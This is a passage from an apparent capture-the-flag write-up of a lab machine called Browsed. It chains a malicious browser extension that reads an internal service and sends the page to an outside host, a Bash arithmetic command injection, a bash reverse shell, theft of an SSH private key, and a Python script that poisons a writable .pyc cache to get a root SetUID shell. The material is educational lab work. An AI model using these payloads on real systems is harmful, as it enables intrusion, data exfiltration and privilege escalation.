[2385:2385:0309/174908.746970:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata/generated_indexed_rulesets": No such file or directory (2)
[2385:2385:0309/174908.747028:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata": No such file or directory (2)
It’s failing to read some metadata files, and the fact that Chrome is checking them shows it’s attempting to load the extension. Later the extension content script is injected into a page:
[2450:2450:0309/174909.983665:VERBOSE1:script_context.cc(150)] Created context:
extension id: bcihhgmnnmkehdadnllggphpnmjapeag
frame: 0x21240044c7b8
URL:
context_type: CONTENT_SCRIPT
effective extension id: bcihhgmnnmkehdadnllggphpnmjapeag
effective context type: CONTENT_SCRIPT
[2450:2450:0309/174909.984089:VERBOSE1:script_context.cc(150)] Created context:
extension id: (none)
frame: (nil)
URL:
context_type: UNSPECIFIED
effective extension id: (none)
effective context type: UNSPECIFIED
When the browser is going to visit a page, it generates a NetworkDelegate::NotifyBeforeURLRequest log. For example, the browser visits http://browsedinternals.htb:
[2415:2420:0309/174909.381820:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/
I can get a list of all the visited URLs:
oxdf@hacky$ cat logs.txt | grep NetworkDelegate::NotifyBeforeURLRequest | grep -oP 'https?://\S+'
http://clients2.google.com/time/1/current?cup2key=8:JX33jNjpBpjoq9T1tCczcqLJ8zcvmi5RAhKnzLTxOmo&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
http://browsedinternals.htb/
http://localhost/
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
http://localhost/assets/css/main.css
http://browsedinternals.htb/assets/css/index.css?v=1.24.5
http://browsedinternals.htb/assets/css/theme-gitea-auto.css?v=1.24.5
http://browsedinternals.htb/assets/img/logo.svg
http://localhost/images/pic01.jpg
http://localhost/images/pic02.jpg
http://localhost/images/pic03.jpg
http://browsedinternals.htb/assets/js/webcomponents.js?v=1.24.5
http://browsedinternals.htb/assets/js/index.js?v=1.24.5
http://localhost/assets/css/fontawesome-all.min.css
https://fonts.googleapis.com/css?family=Roboto:100,300,100italic,300italic
http://localhost/assets/js/jquery.min.js
http://localhost/assets/js/jquery.scrolly.min.js
http://localhost/assets/js/jquery.dropotron.min.js
http://localhost/assets/js/jquery.scrollex.min.js
http://localhost/assets/js/browser.min.js
http://localhost/assets/js/breakpoints.min.js
http://localhost/assets/js/util.js
http://localhost/assets/js/main.js
https://preview.redd.it/why-is-larry-so-evil-v0-ty3qlu4swjle1.jpeg?auto=webp&s=41fc3ee5bcec63e5cb4cc69757a812fb80143f47
localhost has the same files I found visiting the website above. browsedinternals.htb looks like an instance of Gitea, based on the loaded CSS.
This line shows that Chrome is launched with remote debugging enabled:
DevTools listening on ws://127.0.0.1:35435/devtools/browser/f9ca757b-3f14-4a45-987a-0a1afdf851a8
Extensions
The example extensions are Zip archives, each with a manifest.json and some supporting files. For example, replaceimages:
oxdf@hacky$ unzip replaceimages.zip -d replaceimages/
Archive: replaceimages.zip
inflating: replaceimages/content.js
inflating: replaceimages/manifest.json
manifest.json describes the plugin and points to the other files:
{
"manifest_version": 3,
"name": "Replace Images",
"version": "1.0.0",
"description": "Replaces every image on a page with one from a URL.",
"permissions": ["scripting"],
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}
]
}
In this case, for all users when the page idles, it will inject content.js into the page:
// use an image of your liking !
// const replacementImageUrl = "Your favourite image here"
const replacementImageUrl = "https://preview.redd.it/why-is-larry-so-evil-v0-ty3qlu4swjle1.jpeg?auto=webp&s=41fc3ee5bcec63e5cb4cc69757a812fb80143f47"
document.querySelectorAll('img').forEach(img => {
img.src = replacementImageUrl;
img.srcset = "";
});
This finds all img tags and replaces the source with an image from Reddit:
fontify and timer have a bit more:
oxdf@hacky$ mkdir timer
oxdf@hacky$ unzip timer.zip -d timer/
Archive: timer.zip
inflating: timer/manifest.json
inflating: timer/popup.html
inflating: timer/popup.js
inflating: timer/style.css
oxdf@hacky$ mkdir fontify
oxdf@hacky$ unzip fontify.zip -d fontify
Archive: fontify.zip
inflating: fontify/content.js
inflating: fontify/manifest.json
inflating: fontify/popup.html
inflating: fontify/popup.js
inflating: fontify/style.css
fontify’s manifest.json shows not only injected JavaScript, but also has a popup:
{
"manifest_version": 3,
"name": "Font Switcher",
"version": "2.0.0",
"description": "Choose a font to apply to all websites!",
"permissions": [
"storage",
"scripting"
],
"action": {
"default_popup": "popup.html",
"default_title": "Choose your font"
},
"content_scripts": [
{
"matches": [
"<all_urls>"
],
"js": [
"content.js"
],
"run_at": "document_idle"
}
]
}
popup.html is a simple selector:
<!DOCTYPE html>
<html>
<head>
<title>Font Switcher</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<h2>Select a Font</h2>
<select id="fontSelector">
<option value="Comic Sans MS">Comic Sans MS</option>
<option value="Papyrus">Papyrus</option>
<option value="Impact">Impact</option>
<option value="Courier New">Courier New</option>
<option value="Times New Roman">Times New Roman</option>
<option value="Arial">Arial</option>
</select>
<script src="popup.js"></script>
</body>
</html>
popup.js saves the selection on change to storage:
const fontSelector = document.getElementById("fontSelector");
chrome.storage.sync.get("selectedFont", ({ selectedFont }) => {
if (selectedFont) {
fontSelector.value = selectedFont;
}
});
fontSelector.addEventListener("change", () => {
const selectedFont = fontSelector.value;
chrome.storage.sync.set({ selectedFont }, () => {
chrome.tabs.query({ active: true, currentWindow: true }, tabs => {
chrome.scripting.executeScript({
target: { tabId: tabs[0].id },
func: (font) => {
const style = document.createElement("style");
style.innerText = `* { font-family: '${font}' !important; }`;
document.head.appendChild(style);
},
args: [selectedFont]
});
});
});
});
And content.js gets that value and sets the font of everything to the selected font:
// Apply saved font
chrome.storage.sync.get("selectedFont", ({ selectedFont }) => {
if (!selectedFont) return;
const style = document.createElement("style");
style.innerText = `* { font-family: '${selectedFont}' !important; }`;
document.head.appendChild(style);
});
browsedinternals.htb
Site
I’ll add browsedinternals.htb to my hosts file:
10.129.3.225 browsedinternals.htb
Visiting the site shows an instance of Gitea:
The Explore page shows a public repo:
It has a Python app.py, as well as a brief README, a shell script, and some folders:
Tech Stack
The HTTP response headers show nginx:
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 09 Mar 2026 21:48:24 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Cache-Control: max-age=0, private, must-revalidate, no-transform
Set-Cookie: i_like_gitea=8982103990c3a8da; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: _csrf=dOWXuDay2l7JvgEb8irmyxNGMX86MTc3MzA5MjkwNDMwNTkyNDcxNQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
X-Frame-Options: SAMEORIGIN
Content-Length: 13912
There are also a few Gitea cookies set. The 404 page is the default Gitea 404:
The page footer shows it’s Version 1.24.5.
Source Code
Get Repo
I’ll clone the repo to my host to take a look:
oxdf@hacky$ git clone http://browsedinternals.htb/larry/MarkdownPreview.git
Cloning into 'MarkdownPreview'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 15 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (15/15), done.
The file structure is:
📁 MarkdownPreview/
├── 📄 app.py
├── 📁 backups/
│ ├── 📄 data_backup_20250317_121551.tar.gz
│ └── 📄 data_backup_20250317_123946.tar.gz
├── 📁 files/
│ └── 📄 cf23093c09e7478382e716e31d06b3ef.html
├── 📁 log/
│ ├── 📄 routine.log
│ └── 📄 routine.log.gz
├── 📄 README.md
└── 📄 routines.sh
app.py
app.py is a Python Flask application:
from flask import Flask, request, send_from_directory, redirect
from werkzeug.utils import secure_filename
import markdown
import os, subprocess
import uuid
app = Flask(__name__)
FILES_DIR = "files"
# Ensure the files/ directory exists
os.makedirs(FILES_DIR, exist_ok=True)
@app.route('/')
def index():
...[snip]...
@app.route('/submit', methods=['POST'])
def submit():
...[snip]...
@app.route('/files')
def list_files():
...[snip]...
@app.route('/routines/<rid>')
def routines(rid):
...[snip]...
@app.route('/view/<filename>')
def view_file(filename):
...[snip]...
# The webapp should only be accessible through localhost
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)
The application listens on localhost:5000 and sets up five routes:
/shows a basic HTML page and form for submitting markdown./submittakes a POST request to upload markdown, which is converted to HTML and saved with a random name to thefilesdirectory./filesshows a page that displays the saved HTML files./view/<filename>shows the HTML file./routines/<rid>calls a shell script,routines.sh, with the givenridas its input.
routines.sh
routines.sh runs some basic maintenance tasks based on the given ID. The ID is checked against the numbers 0 - 3, and then the appropriate shell commands are run, or an error is printed.
#!/bin/bash
ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"
log_action() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temp files
find "$TMP_DIR" -type f -name "*.tmp" -delete
log_action "Routine 0: Temporary files cleaned."
echo "Temporary files cleaned."
elif [[ "$1" -eq 1 ]]; then
# Routine 1: Backup data
tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
log_action "Routine 1: Data backed up to $BACKUP_DIR."
echo "Backup completed."
elif [[ "$1" -eq 2 ]]; then
# Routine 2: Rotate logs
find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
log_action "Routine 2: Log files compressed."
echo "Logs rotated."
elif [[ "$1" -eq 3 ]]; then
# Routine 3: System info dump
uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
log_action "Routine 3: System info dumped."
echo "System info saved."
else
log_action "Unknown routine ID: $1"
echo "Routine ID not implemented."
fi
The only place the user input is used is in the evaluation of which mode to run.
Shell as larry
SSRF Via Extension
I want to get access to localhost:5000 on Browsed, so I’ll use the extension sandbox. I’ll create a manifest.json:
{
"manifest_version": 3,
"name": "Read Localhost port 5000",
"version": "1.0.0",
"description": "Grab the page on localhost:5000 and return it to me.",
"permissions": ["scripting"],
"host_permissions": ["<all_urls>"],
"background": {
"service_worker": "background.js"
}
}
There are a couple of differences here besides the unimportant metadata. I’m running the JavaScript as a background worker rather than a content script, where it would be subject to CORS policy. Background/service workers can access any URL listed in the host_permissions settings.
I’ll make a simple JavaScript file (with the filename matching the service_worker defined in the JSON above) to read http://localhost:5000 and return it to me:
fetch("http://localhost:5000/")
.then(r => r.text())
.then(d => fetch("http://10.10.14.61/?d=" + btoa(d)));
I’ll create the zip archive from the directory containing both files to make sure there are no directories in the zip:
oxdf@hacky$ zip -r ../ssrf1.zip *
adding: background.js (deflated 67%)
adding: manifest.json (deflated 71%)
On uploading this zip to Browsed, I get a hit at my Python webserver almost immediately:
10.129.3.225 - - [09/Mar/2026 23:04:06] "GET /?d=CiAgICA8aDE+TWFya2Rvd24gUHJldmlld2VyPC9oMT4KICAgIDxmb3JtIGFjdGlvbj0iL3N1Ym1pdCIgbWV0aG9kPSJQT1NUIj4KICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudCIgcm93cz0iMTAiIGNvbHM9IjgwIj48L3RleHRhcmVhPjxicj4KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUmVuZGVyICYgU2F2ZSI+CiAgICA8L2Zvcm0+CiAgICA8cD48YSBocmVmPSIvZmlsZXMiPlZpZXcgc2F2ZWQgSFRNTCBmaWxlczwvYT48L3A+CiAgICA= HTTP/1.1" 200 -
That decodes to the page:
oxdf@hacky$ echo CiAgICA8aDE+TWFya2Rvd24gUHJldmlld2VyPC9oMT4KICAgIDxmb3JtIGFjdGlvbj0iL3N1Ym1pdCIgbWV0aG9kPSJQT1NUIj4KICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudCIgcm93cz0iMTAiIGNvbHM9IjgwIj48L3RleHRhcmVhPjxicj4KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUmVuZGVyICYgU2F2ZSI+CiAgICA8L2Zvcm0+CiAgICA8cD48YSBocmVmPSIvZmlsZXMiPlZpZXcgc2F2ZWQgSFRNTCBmaWxlczwvYT48L3A+CiAgICA= | base64 -d
<h1>Markdown Previewer</h1>
<form action="/submit" method="POST">
<textarea name="content" rows="10" cols="80"></textarea><br>
<input type="submit" value="Render & Save">
</form>
<p><a href="/files">View saved HTML files</a></p>
Bash Arithmetic Evaluation Background
The vulnerability in this script is the lines that compare the input to numbers using -eq, such as:
if [[ "$1" -eq 0 ]]; then
I’ve shown Bash arithmetic injections before in HTB Interface and HTB Eureka. This post talks about the technique in general. If I start with an example script:
#!/bin/bash
NUM="$1"
if [[ "$NUM" -eq 100 ]];then
echo "OK"
else
echo "NG"
fi
It does what I would expect:
oxdf@hacky$ bash ex.sh 100
OK
oxdf@hacky$ bash ex.sh 101
NG
However, because -eq triggers Bash arithmetic evaluation, and Bash arithmetic evaluates array subscript expressions (including command substitutions within them), I can get it to run arbitrary commands:
oxdf@hacky$ bash ex.sh 'a[$(id)]'
ex.sh: line 5: uid=1000(oxdf) gid=1000(oxdf) groups=1000(oxdf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),117(lpadmin),984(docker),987(vboxsf): syntax error in expression (error token is "(oxdf) gid=1000(oxdf) groups=1000(oxdf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),117(lpadmin),984(docker),987(vboxsf)")
Remote Injection
POC
Putting the SSRF and the Bash arithmetic evaluation injection together, I should be able to run commands on the remote server. I’ll use the same manifest.json (updating the name and description if I want to), and update background.js:
fetch("http://localhost:5000/routines/" + encodeURIComponent("a[$(id)]"))
.then(r => r.text())
.then(d => fetch("http://10.10.14.61/?d=" + btoa(d)));
When I package this and send it, the response back is:
10.129.3.225 - - [10/Mar/2026 00:46:34] "GET /?d=Um91dGluZSBleGVjdXRlZCAh HTTP/1.1" 200 -
That decodes to:
oxdf@hacky$ echo Um91dGluZSBleGVjdXRlZCAh | base64 -d
Routine executed !
The output of the script is never sent back:
@app.route('/routines/<rid>')
def routines(rid):
# Call the script that manages the routines
# Run bash script with the input as an argument (NO shell)
subprocess.run(["./routines.sh", rid])
return "Routine executed !"
I’ll update background.js to ping my host:
fetch("http://localhost:5000/routines/" + encodeURIComponent("a[$(ping -c 1 10.10.14.61)]"));
With sudo tcpdump -ni tun0 icmp listening, I’ll upload the new extension, and this time it works:
00:49:28.840352 IP 10.129.3.225 > 10.10.14.61: ICMP echo request, id 5396, seq 1, length 64
00:49:28.840382 IP 10.10.14.61 > 10.129.3.225: ICMP echo reply, id 5396, seq 1, length 64
That’s RCE on the internal server!
Shell
I’ll create a base64-encoded bash reverse shell back to my host:
oxdf@hacky$ echo 'bash -i >& /dev/tcp/10.10.14.61/443 0>&1 ' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxICA
I’ve added some spaces so that the resulting base64 has no symbols.
I’ll update background.js:
fetch("http://localhost:5000/routines/" + encodeURIComponent("a[$(echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxICAK | base64 -d | bash)]"));
I’ll zip this:
oxdf@hacky$ zip -r ../shell.zip *
adding: background.js (deflated 6%)
adding: manifest.json (deflated 72%)
And on submitting it:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.3.225 42078
bash: cannot set terminal process group (1437): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$
I’ll upgrade my shell using the standard trick:
larry@browsed:~/markdownPreview$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
larry@browsed:~/markdownPreview$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
larry@browsed:~/markdownPreview$
And grab user.txt:
larry@browsed:~$ cat user.txt
c310beb3************************
SSH
There’s also an SSH keypair in larry’s home directory. The public key is already in larry’s authorized_keys file:
larry@browsed:~/.ssh$ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINlkhk8FEXwXNCOe06dt3BiJIti0nZWQHBABLy8gq3Ov larry@browsed
larry@browsed:~/.ssh$ cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINlkhk8FEXwXNCOe06dt3BiJIti0nZWQHBABLy8gq3Ov larry@browsed
I’ll grab the private key as a save point:
larry@browsed:~/.ssh$ cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
...[snip]...
Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----
And connect:
oxdf@hacky$ ssh -i ~/keys/browsed-larry larry@10.129.3.225
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-90-generic x86_64)
...[snip]...
larry@browsed:~$
Shell as root
Enumeration
Users
The larry user’s home directory is a standard Ubuntu home directory:
larry@browsed:~$ ls -la
total 56
drwxr-x--- 9 larry larry 4096 Jan 6 11:11 .
drwxr-xr-x 4 root root 4096 Jan 6 10:28 ..
lrwxrwxrwx 1 root root 9 Dec 29 09:55 .bash_history -> /dev/null
-rw-r--r-- 1 larry larry 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 larry larry 3771 Mar 31 2024 .bashrc
drwx------ 4 larry larry 4096 Jan 6 10:28 .cache
drwx------ 3 larry larry 4096 Jan 6 10:28 .config
-rw-rw-r-- 1 larry larry 36 Aug 17 2025 .gitconfig
drwx------ 3 larry larry 4096 Jan 6 10:28 .gnupg
drwxrwxr-x 3 larry larry 4096 Jan 6 10:28 .local
drwxrwxr-x 9 larry larry 4096 Jan 6 10:28 markdownPreview
drwx------ 3 larry larry 4096 Jan 6 10:28 .pki
-rw-r--r-- 1 larry larry 807 Mar 31 2024 .profile
lrwxrwxrwx 1 larry larry 9 Aug 17 2025 .python_history -> /dev/null
drwx------ 2 larry larry 4096 Jan 6 10:28 .ssh
-rw-r----- 1 root larry 33 Mar 9 15:19 user.txt
I already mentioned the key pair in .ssh. The .pki directory contains Chrome/Chromium’s NSS certificate database (cert9.db, key4.db, pkcs11.txt). It’s created automatically when Chrome runs on this system, which makes sense since the bot is running Chrome to process uploaded extensions. It’s not something interesting for exploitation, just a standard Chrome artifact. .gnupg is the GnuPG directory that’s created when tools like apt invoke GPG.
The only other user with a home directory in /home is git:
larry@browsed:/home$ ls
git larry
That lines up with users with shells set in passwd:
larry@browsed:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
larry:x:1000:1000:larry:/home/larry:/bin/bash
git:x:110:110:Git Version Control,,,:/home/git:/bin/bash
larry can’t access git.
larry can run a Python script named extension_tool.py as root using sudo:
larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
Filesystem
The filesystem root is pretty standard:
larry@browsed:/$ ls
bin lib proc sys
bin.usr-is-merged lib64 root tmp
boot lib.usr-is-merged run usr
cdrom lost+found sbin var
dev media sbin.usr-is-merged
etc mnt snap
home opt srv
The .usr-is-merged directories are marker directories from Ubuntu’s usrmerge transition. Modern Ubuntu merges /bin, /lib, and /sbin into /usr/bin, /usr/lib, and /usr/sbin (with symlinks at the old locations). The .usr-is-merged directories are empty sentinel directories that indicate the merge has been completed.
/opt shows Chrome, as well as another directory for the extension tool:
larry@browsed:/$ ls opt/
chrome-linux64 extensiontool
extensiontool
The extensiontool project directory has four objects:
larry@browsed:/opt/extensiontool$ ls -l
total 16
drwxrwxr-x 5 root root 4096 Mar 23 2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27 2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23 2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__
The extensions directory has directories for the three example extensions from the site:
larry@browsed:/opt/extensiontool$ ls extensions/
Fontify ReplaceImages Timer
larry@browsed:/opt/extensiontool$ ls extensions/Fontify/
content.js manifest.json popup.html popup.js style.css
The __pycache__ directory is empty:
larry@browsed:/opt/extensiontool$ ls -la __pycache__/
total 8
drwxrwxrwx 2 root root 4096 Dec 11 07:57 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..
If I run sudo /opt/extensiontool/extension_tool.py, a .pyc file will be created in __pycache__:
larry@browsed:/opt/extensiontool$ ls -la __pycache__/
total 12
drwxrwxrwx 2 root root 4096 Mar 10 11:55 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..
-rw-r--r-- 1 root root 1880 Mar 10 11:55 extension_utils.cpython-312.pyc
The most important thing to note about __pycache__ is that it’s world writable. I’ll come back to that later.
The general outline of extension_tool.py is:
#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile
EXTENSION_DIR = '/opt/extensiontool/extensions/'
def bump_version(data, path, level='patch'):
...[snip]...
def package_extension(source_dir, output_file):
...[snip]...
def main():
parser = ArgumentParser(description="Validate, bump version, and package a browser extension.")
parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type')
parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name')
parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")
args = parser.parse_args()
if args.clean:
clean_temp_files(args.clean)
args.ext = os.path.basename(args.ext)
if not (args.ext in os.listdir(EXTENSION_DIR)):
print(f"[X] Use one of the following extensions : {os.listdir(EXTENSION_DIR)}")
exit(1)
extension_path = os.path.join(EXTENSION_DIR, args.ext)
manifest_path = os.path.join(extension_path, 'manifest.json')
manifest_data = validate_manifest(manifest_path)
# Possibly bump version
if (args.bump):
bump_version(manifest_data, manifest_path, args.bump)
else:
print('[-] Skipping version bumping')
# Package the extension
if (args.zip):
package_extension(extension_path, args.zip)
else:
print('[-] Skipping packaging')
if __name__ == '__main__':
main()
It takes an extension that must be one of the directory names in extensions, and then performs one or more actions of bumping a version, creating a zip, and removing temp files.
extension_utils.py holds two functions, validate_manifest and clean_temp_files. Exactly what they do isn’t super important.
Python Cache Hijack
PyCache Background
When I run python script.py, the ASCII Python code is first converted to Python bytecode and then it’s executed. When modules are imported, that bytecode is often saved in the __pycache__ directory so that the next time it’s imported, it’s already available in that format to save time. Real Python has a really nice article with a lot of background on this.
The article also has a nice description of What’s Inside a Cached .pyc File. It starts with a header, which can take two formats. It needs a way to know if the corresponding source code has changed. It does that either by storing a timestamp of when it was created (to compare to the timestamp of the source file), or a hash of the source file.
The timestamp version has the following format:
| Offset | Field Size | Field | Description |
|---|---|---|---|
| 0 | 4 | Magic number | Identifies the Python version |
| 4 | 4 | Bit field | Filled with zeros |
| 8 | 4 | Timestamp | The time of .py file’s modification |
| 12 | 4 | File size | Concerns the source .py file |
The hash-based version looks like:
| Offset | Field Size | Field | Description |
|---|---|---|---|
| 0 | 4 | Magic number | Identifies the Python version |
| 4 | 4 | Bit field | Equals 1 (unchecked) or 3 (checked) |
| 8 | 8 | Hash value | Source code’s hash value |
Either way, the header is 16 bytes, followed by the code object as serialized with the marshal module.
Strategy
The __pycache__ directory is writable, which means I can update the .pyc file in it. Then, when I run the script as root, my .pyc file will be run as root.
The naturally generated .pyc has the following header:
larry@browsed:/opt/extensiontool$ xxd __pycache__/extension_utils.cpython-312.pyc | head -1
00000000: cb0d 0d0a 0000 0000 d3e8 df67 dd04 0000 ...........g....
That breaks down to:
| Offset | Field Size | Field | Value |
|---|---|---|---|
| 0 | 4 | Magic number | 0x0a0d0dcb = Magic number for CPython 3.12 |
| 4 | 4 | Bit field | Filled with zeros |
| 8 | 4 | Timestamp | 0x67dfe8d3 = 1742727379 = Sunday, March 23, 2025 at 10:56:19 AM |
| 12 | 4 | File size | 0x4dd = 1245, which matches the size of extension_utils.py |
The timestamp matches the modify time on extension_utils.py:
larry@browsed:/opt/extensiontool$ stat extension_utils.py
File: extension_utils.py
Size: 1245 Blocks: 8 IO Block: 4096 regular file
Device: 252,0 Inode: 8541 Links: 1
Access: (0664/-rw-rw-r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2026-03-10 11:55:34.438349151 +0000
Modify: 2025-03-23 10:56:19.000000000 +0000
Change: 2025-08-17 12:55:02.920923490 +0000
Birth: 2025-08-17 12:55:02.920923490 +0000
Exploit
I’m going to write a Python script to abuse this setup. My final exploit is:
import marshal
import subprocess
from pathlib import Path
BASE_DIR = Path("/opt/extensiontool")
print('[*] Running extension_tool.py to ensure .pyc files exist')
subprocess.run(['sudo', BASE_DIR / 'extension_tool.py'], capture_output=True)
print('[*] Reading legit header from .pyc')
pyc = BASE_DIR / '__pycache__/extension_utils.cpython-312.pyc'
raw_header = pyc.read_bytes()[:16]
print('[*] Creating poisoned source code')
orig = BASE_DIR / 'extension_utils.py'
orig_src = orig.read_text()
poisoned_src = orig_src + '''
import os
os.system('cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf')
'''
print('[*] Compiling poisoned source and overwriting .pyc')
code = compile(poisoned_src, BASE_DIR / 'extension_utils.py', 'exec')
pyc.unlink()
pyc.write_bytes(raw_header + marshal.dumps(code))
print('[*] Running extension_tool.py with poisoned .pyc')
subprocess.run(['sudo', BASE_DIR / 'extension_tool.py'], capture_output=True)
shell = Path('/tmp/0xdf')
if shell.exists():
print('[+] SetUID / SetGID bash exists. Starting root shell.')
subprocess.run(['/tmp/0xdf', '-p'])
else:
print('[-] Exploit failed')
It runs the program to make sure that the .pyc file exists (there is a cleanup script moving pretty aggressively). Then it gets the header from that file to reuse. It reads the source code for extension_utils.py, and adds code to the end that will create a SetUID / SetGID bash. Then it compiles that and dumps the header and bytecode to the .pyc file. I need to remove it first, as the legit copy is not writable by larry. But because the directory is world-writable, it’s easily removed, and then a new file is written. Finally, my code checks for the existence of /tmp/0xdf, and calls the shell.
It works:
larry@browsed:/opt/extensiontool$ python3.12 /dev/shm/poison.py
[*] Running extension_tool.py to ensure .pyc files exist
[*] Reading legit header from .pyc
[*] Creating poisoned source code
[*] Compiling poisoned source and overwriting .pyc
[*] Running extension_tool.py with poisoned .pyc
[+] SetUID / SetGID bash exists. Starting root shell.
0xdf-5.2#
I’ll grab the root flag:
0xdf-5.2# cat /root/root.txt
cecaf576************************
I can make a prettier version of the exploit that parses the header and prints it using code from the Real Python article:
import marshal
import py_compile
import subprocess
from datetime import datetime, timezone
from dis import dis
from pathlib import Path
from types import SimpleNamespace
from py_compile import PycInvalidationMode
def parse_header(header):
metadata = SimpleNamespace()
metadata.magic_number = header[0:4]
metadata.magic_int = int.from_bytes(header[0:4][:2], "little")
metadata.python_version = f"3.{(metadata.magic_int - 2900) // 50}"
metadata.bit_field = int.from_bytes(header[4:8], "little")
metadata.pyc_type = {
0: PycInvalidationMode.TIMESTAMP,
1: PycInvalidationMode.UNCHECKED_HASH,
3: PycInvalidationMode.CHECKED_HASH,
}.get(metadata.bit_field)
if metadata.pyc_type is PycInvalidationMode.TIMESTAMP:
metadata.timestamp = datetime.fromtimestamp(
int.from_bytes(header[8:12], "little"),
timezone.utc,
)
metadata.file_size = int.from_bytes(header[12:16], "little")
else:
metadata.hash_value = header[8:16]
return metadata
BASE_DIR = Path("/opt/extensiontool")
print('[*] Running extension_tool.py to ensure .pyc files exist')
subprocess.run(['sudo', BASE_DIR / 'extension_tool.py'], capture_output=True)
print('[*] Reading legit header from .pyc')
pyc = BASE_DIR / '__pycache__/extension_utils.cpython-312.pyc'
raw_header = pyc.read_bytes()[:16]
header = parse_header(raw_header)
for k,v in vars(header).items():
print(f" {k}: {v}")
print('[*] Creating poisoned source code')
orig = BASE_DIR / 'extension_utils.py'
orig_src = orig.read_text()
poisoned_src = orig_src + '''
import os
os.system('cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf')
'''
print('[*] Compiling poisoned source and overwriting .pyc')
code = compile(poisoned_src, BASE_DIR / 'extension_utils.py', 'exec')
pyc.unlink()
pyc.write_bytes(raw_header + marshal.dumps(code))
print('[*] Running extension_tool.py with poisoned .pyc')
subprocess.run(['sudo', BASE_DIR / 'extension_tool.py'], capture_output=True)
shell = Path('/tmp/0xdf')
if shell.exists():
print('[+] SetUID / SetGID bash exists. Starting root shell.')
subprocess.run(['/tmp/0xdf', '-p'])
else:
print('[-] Exploit failed')
This prints the header info as well:
larry@browsed:/opt/extensiontool$ python3.12 /dev/shm/poison.py
[*] Running extension_tool.py to ensure .pyc files exist
[*] Reading legit header from .pyc
magic_number: b'\xcb\r\r\n'
magic_int: 3531
python_version: 3.12
bit_field: 0
pyc_type: PycInvalidationMode.TIMESTAMP
timestamp: 2025-03-23 10:56:19+00:00
file_size: 1245
[*] Creating poisoned source code
[*] Compiling poisoned source and overwriting .pyc
[*] Running extension_tool.py with poisoned .pyc
